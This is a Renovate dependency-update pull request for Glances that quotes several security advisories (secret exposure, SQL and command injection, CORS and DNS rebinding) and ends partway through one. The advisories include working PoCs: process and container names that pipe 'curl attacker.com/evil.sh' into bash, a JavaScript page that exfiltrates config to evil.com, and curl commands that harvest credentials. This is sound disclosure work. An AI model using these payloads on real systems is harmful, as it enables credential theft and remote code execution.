Update dependency Glances to v4.5.4 [SECURITY] by renovate[bot] · Pull Request #317 · blong14/compute-cluster

renovate · 2026-03-09T21:21:08Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
Glances	`==4.3.1` → `==4.5.4`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Glances Exposes Unauthenticated Configuration Secrets

CVE-2026-30928 / GHSA-gh4x-f7cq-wwx6

More information

Details

Summary

The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

Details

Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code:

File: glances/outputs/glances_restful_api.py, lines 1154-1167

def _api_config(self):
    """Glances API RESTful implementation.

    Return the JSON representation of the Glances configuration file
    HTTP/200 if OK
    HTTP/404 if others error
    """
    try:
        # Get the RAW value of the config' dict
        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
    else:
        return GlancesJSONResponse(args_json)

File: glances/config.py, lines 280-287

def as_dict(self):
    """Return the configuration as a dict"""
    dictionary = {}
    for section in self.parser.sections():
        dictionary[section] = {}
        for option in self.parser.options(section):
            dictionary[section][option] = self.parser.get(section, option)  # No filtering
    return dictionary

File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)

if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # No authentication!

PoC

Start Glances in default webserver mode:

glances -w

##### Glances web server started on http://0.0.0.0:61208/

From any network-reachable host, retrieve all configuration secrets:


##### Get entire config including all credentials
curl http://target:61208/api/4/config

Step 3: Extract specific secrets:


##### Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

##### Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token

##### Get all stored server passwords
curl http://target:61208/api/4/config/passwords

Impact

Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Glances has SQL Injection via Process Names in TimescaleDB Export

CVE-2026-30930 / GHSA-x46r-mf5g-xpr6

More information

Details

Summary

The TimescaleDB export module constructs SQL queries using string concatenation with unsanitized system monitoring data. The normalize() method wraps string values in single quotes but does not escape embedded single quotes, making SQL injection trivial via attacker-controlled data such as process names, filesystem mount points, network interface names, or container names.

Root Cause: The normalize() function uses f"'{value}'" for string values without escaping single quotes within the value. The resulting strings are concatenated into INSERT queries via string formatting and executed directly with cur.execute() — no parameterized queries are used.

Affected Code

File: glances/exports/glances_timescaledb/init.py, lines 79-93 (normalize function)

def normalize(self, value):
    """Normalize the value to be exportable to TimescaleDB."""
    if value is None:
        return 'NULL'
    if isinstance(value, bool):
        return str(value).upper()
    if isinstance(value, (list, tuple)):
        # Special case for list of one boolean
        if len(value) == 1 and isinstance(value[0], bool):
            return str(value[0]).upper()
        return ', '.join([f"'{v}'" for v in value])
    if isinstance(value, str):
        return f"'{value}'"  # <-- NO ESCAPING of single quotes within value

    return f"{value}"

File: glances/exports/glances_timescaledb/init.py, lines 201-205 (query construction)


##### Insert the data
insert_list = [f"({','.join(i)})" for i in values_list]
insert_query = f"INSERT INTO {plugin} VALUES {','.join(insert_list)};"
logger.debug(f"Insert data into table: {insert_query}")
try:
    cur.execute(insert_query)  # <-- Direct execution of concatenated SQL

PoC

As a normal user, create a process with the name containing the SQL Injection payload:

exec -a "x'); COPY (SELECT version()) TO '/tmp/sqli_proof.txt' --"   python3 -c 'import time; [sum(range(500000)) or time.sleep(0.01) for _ in iter(int, 1)]'

Start Glances with TimescaleDB export as root user:

glances --export timescaledb --export-process-filter ".*" --time 5 --stdout cpu

Observe that sqli_proof.txt is created in /tmp directory.

Impact

Data Destruction: DROP TABLE, DELETE, TRUNCATE operations against the TimescaleDB database.
Data Exfiltration: Using COPY ... TO or subqueries to extract data from other tables.
Potential RCE: Via PostgreSQL extensions like COPY ... PROGRAM which executes OS commands.
Privilege Escalation: Any local user who can create a process with a crafted name can inject SQL into the database, potentially compromising the entire PostgreSQL instance.

Severity

CVSS Score: 7.3 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Glances exposes the REST API without authentication

CVE-2026-32596 / GHSA-wvxv-4j8q-4wjq

More information

Details

Summary

Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.

Details

Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.

Affected Code:

File: glances/outputs/glances_restful_api.py, lines 259-272

if self.args.password:
    self._password = GlancesPassword(username=args.username, config=config)
    if JWT_AVAILABLE:
        jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
        jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
        self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
        logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
    else:
        self._jwt_handler = None
        logger.info("JWT authentication not available (python-jose not installed)")
else:
    self._password = None  # NO AUTHENTICATION BY DEFAULT
    self._jwt_handler = None

File: glances/outputs/glances_restful_api.py, lines 477-480

if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # NO AUTH DEPENDENCY

File: glances/outputs/glances_restful_api.py, lines 98-99

self.bind_address = args.bind_address or "0.0.0.0"  # BINDS TO ALL INTERFACES
self.port = args.port or 61208

File: glances/plugins/processlist/__init__.py, lines 127-140

enable_stats = [
    'cpu_percent',
    'memory_percent',
    'memory_info',
    'pid',
    'username',
    'cpu_times',
    'num_threads',
    'nice',
    'status',
    'io_counters',
    'cpu_num',
    'cmdline',  # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]

PoC

Start Glances in default web server mode:

glances -w

##### Output: Glances Web User Interface started on http://0.0.0.0:61208/

Access API without authentication from any network client:

curl -s http://TARGET:61208/api/4/system | jq .

Extract system information:

curl -s http://TARGET:61208/api/4/all > system_dump.json

Harvest credentials from process list:

curl -s http://TARGET:61208/api/4/processlist | \
  jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | 
  {pid, username, process: .name, cmdline}'

Example credential exposure:

{
  "pid": 4059,
  "username": "root",
  "process": "python3",
  "cmdline": [
    "python3",
    "-c",
    "import time; time.sleep(3600)",
    "--api-key=sk-super-secret-token-12345",
    "--password=MySecretPassword123",
    "--db-pass=admin123"
  ]
}

Impact

Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Glances has a Command Injection via Process Names in Action Command Templates

CVE-2026-32608 / GHSA-vcv2-q258-wrg7

More information

Details

Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., , ) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

Admin configures an action in glances.conf (documented feature):

[cpu]
critical_action=echo "High CPU on " | mail admin@example.com

When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):

self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)

The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
In glances/actions.py:77-78, the Mustache library renders the template:

if chevron_tag:
    cmd_full = chevron.render(cmd, mustache_dict)

The rendered command is passed to secure_popen() (glances/actions.py:84):

ret = secure_popen(cmd_full)

The secure_popen vulnerability (glances/secure.py:17-30):

def secure_popen(cmd):
    ret = ""
    for c in cmd.split("&&"):
        ret += __secure_popen(c)
    return ret

And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

if stdout_redirect is not None:
    with open(stdout_redirect, "w") as stdout_redirect_file:
        stdout_redirect_file.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

##### 1. Admin configures processlist action in glances.conf:
##### [processlist]

##### critical_action=echo "ALERT:  used % CPU" >> /tmp/alerts.log

##### 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &

##### 3. When the process triggers a critical alert, secure_popen splits by |:

#####   Command 1: echo "ALERT: innocent
#####   Command 2: curl attacker.com/evil.sh   <-- INJECTED

#####   Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

##### 1. Admin configures containers action:
##### [containers]

##### critical_action=docker stats  --no-stream

##### 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx

##### 3. secure_popen splits by &&:

#####   Command 1: docker stats web
#####   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED

#####   Command 3: echo --no-stream

Impact

Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.
Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

##### glances/actions.py

def _escape_for_secure_popen(value):
    """Escape characters that secure_popen treats as operators."""
    if not isinstance(value, str):
        return value
    value = value.replace("&&", " ")
    value = value.replace("|", " ")
    value = value.replace(">", " ")
    return value

def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
    for cmd in commands:
        if chevron_tag:
            if mustache_dict:
                safe_dict = {
                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v
                    for k, v in mustache_dict.items()
                }
            else:
                safe_dict = mustache_dict
            cmd_full = chevron.render(cmd, safe_dict)
        else:
            cmd_full = cmd
        ...

Severity

CVSS Score: 7.0 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Glances has Incomplete Secrets Redaction: /api/v4/args Endpoint Leaks Password Hash and SNMP Credentials

CVE-2026-32609 / GHSA-cvwp-r2g2-j824

More information

Details

Summary

The GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the /api/v4/config endpoints by introducing as_dict_secure() redaction. However, the /api/v4/args and /api/v4/args/{item} endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via vars(self.args), which includes the password hash (salt + pbkdf2_hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without --password (the default), these endpoints are accessible without any authentication.

Details

The secrets exposure fix (GHSA-gh4x, commit 5d3de60) modified three config-related endpoints to use as_dict_secure() when no password is configured:

##### glances/outputs/glances_restful_api.py:1168 (FIXED)
args_json = self.config.as_dict() if self.args.password else self.config.as_dict_secure()

However, the _api_args and _api_args_item endpoints were not part of this fix and still return all arguments without any sanitization:

##### glances/outputs/glances_restful_api.py:1222-1237
def _api_args(self):
    try:
        # Get the RAW value of the args dict
        # Use vars to convert namespace to dict
        args_json = vars(self.args)
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get args ({str(e)})")

    return GlancesJSONResponse(args_json)

And the item-specific endpoint:

##### glances/outputs/glances_restful_api.py:1239-1258
def _api_args_item(self, item: str):
    ...
    args_json = vars(self.args)[item]
    return GlancesJSONResponse(args_json)

The self.args namespace contains sensitive fields set during initialization in glances/main.py:

password (line 806-819): When --password is used, this contains the salt + pbkdf2_hmac hash. An attacker can use this for offline brute-force attacks.
snmp_community (line 445): Default "public", but may be set to a secret community string for SNMP monitoring.
snmp_user (line 448): SNMP v3 username, default "private".
snmp_auth (line 450): SNMP v3 authentication key, default "password" but typically set to a secret value.
conf_file (line 198): Path to the configuration file, reveals filesystem structure.
username (line 430/800): The Glances authentication username.

Both endpoints are registered on the authenticated router (line 504-505):

f'{base_path}/args': self._api_args,
f'{base_path}/args/': self._api_args_item,

When --password is not set (the default), the router has NO authentication dependency (line 479-480), making these endpoints completely unauthenticated:

if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)

PoC

Scenario 1: No password configured (default deployment)

##### Start Glances in web server mode (default, no password)
glances -w

##### Access all command line arguments without authentication
curl -s http://localhost:61208/api/4/args | python -m json.tool

##### Expected output includes sensitive fields:

##### "password": "",
##### "snmp_community": "public",

##### "snmp_user": "private",
##### "snmp_auth": "password",

##### "username": "glances",
##### "conf_file": "/home/user/.config/glances/glances.conf",

##### Access specific sensitive argument
curl -s http://localhost:61208/api/4/args/snmp_community
curl -s http://localhost:61208/api/4/args/snmp_auth

Scenario 2: Password configured (authenticated deployment)

##### Start Glances with password authentication
glances -w --password --username admin

##### Authenticate and access args (password hash exposed to authenticated users)
curl -s -u admin:mypassword http://localhost:61208/api/4/args/password

##### Returns the salt$pbkdf2_hmac hash which enables offline brute-force

Impact

Unauthenticated network reconnaissance: When Glances runs without --password (the common default for internal/trusted networks), anyone who can reach the web server can enumerate SNMP credentials, usernames, file paths, and all runtime configuration.
Offline password cracking: When authentication is enabled, an authenticated user can retrieve the password hash (salt + pbkdf2_hmac) and perform offline brute-force attacks. The hash uses pbkdf2_hmac with SHA-256 and 100,000 iterations (see glances/password.py:45), which provides some protection but is still crackable with modern hardware.
Lateral movement: Exposed SNMP community strings and v3 authentication keys can be used to access other network devices monitored by the Glances instance.
Supply chain for CORS attack: Combined with the default CORS misconfiguration (finding 001), these secrets can be stolen cross-origin by a malicious website.

Recommended Fix

Apply the same redaction pattern used for the /api/v4/config endpoints:

##### glances/outputs/glances_restful_api.py

_SENSITIVE_ARGS = frozenset({
    'password', 'snmp_community', 'snmp_user', 'snmp_auth',
    'conf_file', 'password_prompt', 'username_used',
})

def _api_args(self):
    try:
        args_json = vars(self.args).copy()
        if not self.args.password:
            for key in _SENSITIVE_ARGS:
                if key in args_json:
                    args_json[key] = "********"
        # Never expose the password hash, even to authenticated users
        if 'password' in args_json and args_json['password']:
            args_json['password'] = "********"
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get args ({str(e)})")
    return GlancesJSONResponse(args_json)

def _api_args_item(self, item: str):
    if item not in self.args:
        raise HTTPException(status.HTTP_400_BAD_REQUEST, f"Unknown argument item {item}")
    try:
        if item in _SENSITIVE_ARGS:
            if not self.args.password:
                return GlancesJSONResponse("********")
            if item == 'password':
                return GlancesJSONResponse("********")
        args_json = vars(self.args)[item]
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get args item ({str(e)})")
    return GlancesJSONResponse(args_json)

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Glances's Default CORS Configuration Allows Cross-Origin Credential Theft

CVE-2026-32610 / GHSA-9jfm-9rc6-2hfq

More information

Details

Summary

The Glances REST API web server ships with a default CORS configuration that sets allow_origins=["*"] combined with allow_credentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal * wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

Details

The CORS configuration is set up in glances/outputs/glances_restful_api.py lines 290-299:

##### glances/outputs/glances_restful_api.py:290-299
##### FastAPI Enable CORS

##### https://fastapi.tiangolo.com/tutorial/cors/
self._app.add_middleware(
    CORSMiddleware,
    # Related to https://github.com/nicolargo/glances/issues/2812
    allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)

The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:

cors_origins = ["*"] (all origins)
cors_credentials = True (allow credentials)

Per the CORS specification, browsers should not send credentials when Access-Control-Allow-Origin: *. However, Starlette's CORSMiddleware implements a workaround: when allow_origins=["*"] and allow_credentials=True, the middleware reflects the requesting origin in the response header instead of using *. This means:

Attacker hosts https://evil.com/steal.html
Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page
JavaScript on evil.com makes fetch("http://glances-server:61208/api/4/config", {credentials: "include"})
The browser sends the stored Basic Auth credentials
Starlette responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true
The browser allows JavaScript to read the response
Attacker exfiltrates the configuration including sensitive data

When Glances is running without --password (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.

PoC

Step 1: Attacker hosts a malicious page.

<!-- steal-glances.html hosted on attacker's server -->
<script>
async function steal() {
  const target = "http://glances-server:61208";
  
  // Steal system stats (processes, CPU, memory, network, disk)
  const all = await fetch(target + "/api/4/all", {credentials: "include"});
  const allData = await all.json();
  
  // Steal configuration (may contain database passwords, API keys)
  const config = await fetch(target + "/api/4/config", {credentials: "include"});
  const configData = await config.json();
  
  // Steal command line args (contains password hash, SNMP creds)
  const args = await fetch(target + "/api/4/args", {credentials: "include"});
  const argsData = await args.json();
  
  // Exfiltrate to attacker
  fetch("https://evil.com/collect", {
    method: "POST",
    body: JSON.stringify({all: allData, config: configData, args: argsData})
  });
}
steal();
</script>

Step 2: Verify CORS headers (without auth, default Glances).

##### Start Glances web server (default, no password)
glances -w

##### From a different origin, verify the CORS headers
curl -s -D- -o /dev/null \
  -H "Origin: https://evil.com" \
  http://localhost:61208/api/4/all

##### Expected response headers include:

##### Access-Control-Allow-Origin: https://evil.com
##### Access-Control-Allow-Credentials: true

Step 3: Verify data theft (without auth).

curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20
curl -s http://localhost:61208/api/4/config | python -m json.tool
curl -s http://localhost:61208/api/4/args | python -m json.tool

Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.

##### Start Glances with password
glances -w --password

##### Preflight request with credentials
curl -s -D- -o /dev/null \
  -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  http://localhost:61208/api/4/all

##### Expected: Access-Control-Allow-Origin: https://evil.com

##### Expected: Access-Control-Allow-Credentials: true

Impact

Without --password (default): Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.
With --password: If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via /api/4/args).
Network reconnaissance: An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.
Chained with POST endpoints: The CORS policy also allows POST methods, enabling an attacker to clear event logs (/api/4/events/clear/all) or modify process monitoring (/api/4/processes/extended/{pid}).

Recommended Fix

Change the default CORS credentials setting to False, and when credentials are enabled, require explicit origin configuration instead of wildcard:

##### glances/outputs/glances_restful_api.py

##### Option 1: Change default to not allow credentials with wildcard origins
cors_origins = config.get_list_value('outputs', 'cors_origins', default=["*"])
cors_credentials = config.get_bool_value('outputs', 'cors_credentials', default=False)  # Changed from True

##### Option 2: Reject the insecure combination at startup
if cors_origins == ["*"] and cors_credentials:
    logger.warning(
        "CORS: allow_origins='*' with allow_credentials=True is insecure. "
        "Setting allow_credentials to False. Configure specific origins to enable credentials."
    )
    cors_credentials = False

self._app.add_middleware(
    CORSMiddleware,
    allow_origins=cors_origins,
    allow_credentials=cors_credentials,
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["GET"]),  # Also restrict methods
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Glances has a SQL Injection in DuckDB Export via Unparameterized DDL Statements

CVE-2026-32611 / GHSA-49g7-2ww7-3vf5

More information

Details

Summary

The GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and psycopg.sql composable objects. However, the DuckDB export module (glances/exports/glances_duckdb/__init__.py) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (? placeholders), the DDL construction and table name references do not escape or parameterize identifier names.

Details

The DuckDB export module constructs SQL DDL statements by directly interpolating stat field names and plugin names into f-strings.

Vulnerable CREATE TABLE construction (glances/exports/glances_duckdb/__init__.py:156-162):

create_query = f"""
CREATE TABLE {plugin} (
{', '.join(creation_list)}
);"""
self.client.execute(create_query)

The creation_list is built from stat dictionary keys in the update() method (glances/exports/glances_duckdb/__init__.py:117-118):

for key, value in plugin_stats.items():
    creation_list.append(f"{key} {convert_types[type(self.normalize(value)).__name__]}")

The INSERT statement also uses the unescaped plugin name (glances/exports/glances_duckdb/__init__.py:172-174):

insert_query = f"""
INSERT INTO {plugin} VALUES (
{', '.join(['?' for _ in values])}
);"""

While INSERT values use ? placeholders (safe), the table name {plugin} is directly interpolated in both CREATE TABLE and INSERT INTO statements. Column names in creation_list are also directly interpolated without quoting.

Comparison with the TimescaleDB fix (commit 39161f0):

The TimescaleDB fix addressed this exact pattern by:

Using psycopg.sql.Identifier() for table and column names
Using psycopg.sql.SQL() for composing queries
Using %s placeholders for all values

The DuckDB module was not part of this fix despite having the same vulnerability class.

Attack vector:

The primary attack vector is through stat dictionary keys. While most keys come from hardcoded psutil field names (e.g., cpu_percent, memory_usage), any future plugin that introduces dynamic keys from external data (container labels, custom metrics, user-defined sensor names) would create an exploitable injection path. Additionally, the table name (plugin) comes from the internal plugins list, but any custom plugin with a crafted name could inject SQL.

PoC

The injection is demonstrable when column or table names contain SQL metacharacters:

##### Simulated injection via a hypothetical plugin with dynamic keys
##### If a stat dict contained a key like:

#####   "cpu_percent BIGINT); DROP TABLE cpu; --"
##### The creation_list would produce:

#####   "cpu_percent BIGINT); DROP TABLE cpu; -- VARCHAR"
##### Which in the CREATE TABLE f-string becomes:

#####   CREATE TABLE plugin_name (
#####     time TIMETZ,

#####     hostname_id VARCHAR,
#####     cpu_percent BIGINT); DROP TABLE cpu; -- VARCHAR

#####   );

##### Verify with DuckDB export enabled:
##### 1. Configure DuckDB export in glances.conf:

##### [duckdb]
##### database=/tmp/glances.duckdb

##### 2. Start Glances with DuckDB export and debug logging
glances --export duckdb --debug 2>&1 | grep "Create table"

##### 3. Observe the unescaped SQL in debug output

Impact

Defense-in-depth gap: The identical vulnerability pattern was identified and fixed in TimescaleDB (GHSA-x46r) but the fix was not applied to the sibling DuckDB module. This represents an incomplete patch that leaves the same attack surface open through a different code path.
Future exploitability: If any Glances plugin is added or modified to produce stat dictionary keys from external/user-controlled data (e.g., container metadata, custom metric names, SNMP OID labels), the DuckDB export would become immediately exploitable for SQL injection without any additional code changes.
Data integrity: A successful injection in the CREATE TABLE statement could corrupt the DuckDB database, create unauthorized tables, or modify schema in ways that affect other applications reading from the same database file.

Recommended Fix

Apply the same parameterization approach used in the TimescaleDB fix. DuckDB supports identifier quoting with double quotes:

##### glances/exports/glances_duckdb/__init__.py

def _quote_identifier(name):
    """Quote a SQL identifier to prevent injection."""
    # DuckDB uses double-quote escaping for identifiers
    return '"' + name.replace('"', '""') + '"'

def export(self, plugin, creation_list, values_list):
    """Export the stats to the DuckDB server."""
    logger.debug(f"Export {plugin} stats to DuckDB")

    table_list = [t[0] for t in self.client.sql("SHOW TABLES").fetchall()]
    if plugin not in table_list:
        # Quote table and column names to prevent injection
        quoted_plugin = _quote_identifier(plugin)
        quoted_fields = []
        for item in creation_list:
            parts = item.split(' ', 1)
            col_name = _quote_identifier(parts[0])
            col_type = parts[1] if len(parts) > 1 else 'VARCHAR'
            quoted_fields.append(f"{col_name} {col_type}")

        create_query = f"CREATE TABLE {quoted_plugin} ({', '.join(quoted_fields)});"
        try:
            self.client.execute(create_query)
        except Exception as e:
            logger.error(f"Cannot create table {plugin}: {e}")
            return

    self.client.commit()

    # Insert with quoted table name
    quoted_plugin = _quote_identifier(plugin)
    for values in values_list:
        insert_query = f"INSERT INTO {quoted_plugin} VALUES ({', '.join(['?' for _ in values])});"
        try:
            self.client.execute(insert_query, values)
        except Exception as e:
            logger.error(f"Cannot insert data into table {plugin}: {e}")

    self.client.commit()

Severity

CVSS Score: 7.0 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding

CVE-2026-32632 / GHSA-hhcg-r27j-fhv9

More information

Details

Summary

Glances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary Host headers and does not apply TrustedHostMiddleware or an equivalent host allowlist.

As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.

This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.

Details

The MCP endpoint now has explicit host-based transport security:

##### glances/outputs/glances_mcp.py
self.mcp_allowed_hosts = ["localhost", "127.0.0.1"]
...
return TransportSecuritySettings(
    allowed_hosts=allowed_hosts,
    allowed_origins=allowed_origins,
)

However, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:

##### glances/outputs/glances_restful_api.py
self._app = FastAPI(default_response_class=GlancesJSONResponse)
...
self._app.add_middleware(
    CORSMiddleware,
    allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)
...
if self.args.password and self._jwt_handler is not None:
    self._app.include_router(self._token_router())
self._app.include_router(self._router())

There is no TrustedHostMiddleware, no comparison against the configured bind host, and no allowlist enforcement for HTTP Host values on the REST/WebUI surface.

The default bind configuration also exposes the service on all interfaces:

##### glances/main.py
parser.add_argument(
    '-B',
    '--bind',
    default='0.0.0.0',
    dest='bind_address',
    help='bind server to the given IPv4/IPv6 address or hostname',
)

This combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.

The token endpoint is also mounted on the same unprotected FastAPI app:

##### glances/outputs/glances_restful_api.py
def _token_router(self) -> APIRouter:
    ...
    router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])

Why This Is Exploitable

In a DNS rebinding attack:

The attacker serves JavaScript from https://attacker.example.
The victim visits that page while a Glances instance is reachable on the victim network.
The attacker's DNS for attacker.example is rebound from the attacker's server to the Glances IP address.
The victim browser now sends same-origin requests to https://attacker.example, but those requests are delivered to Glances.
Because the Glances REST/WebUI app does not validate the Host header or enforce an allowed-host policy, it serves the response.
The attacker-controlled JavaScript can read the response as same-origin content.

The MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.

Proof of Concept

This issue is code-validated by inspection of the current implementation:

REST/WebUI/token are all mounted on a plain FastAPI(...) app
no TrustedHostMiddleware or equivalent host validation is applied
default bind is 0.0.0.0
MCP has separate rebinding protection, showing the project already recognizes the threat model

In a live deployment, the expected verification is:

##### Victim-accessible Glances service
glances -w

##### Attacker-controlled rebinding domain first resolves to attacker infra,

##### then rebinds to the victim-local Glances IP.
##### After rebind, attacker JS can fetch:
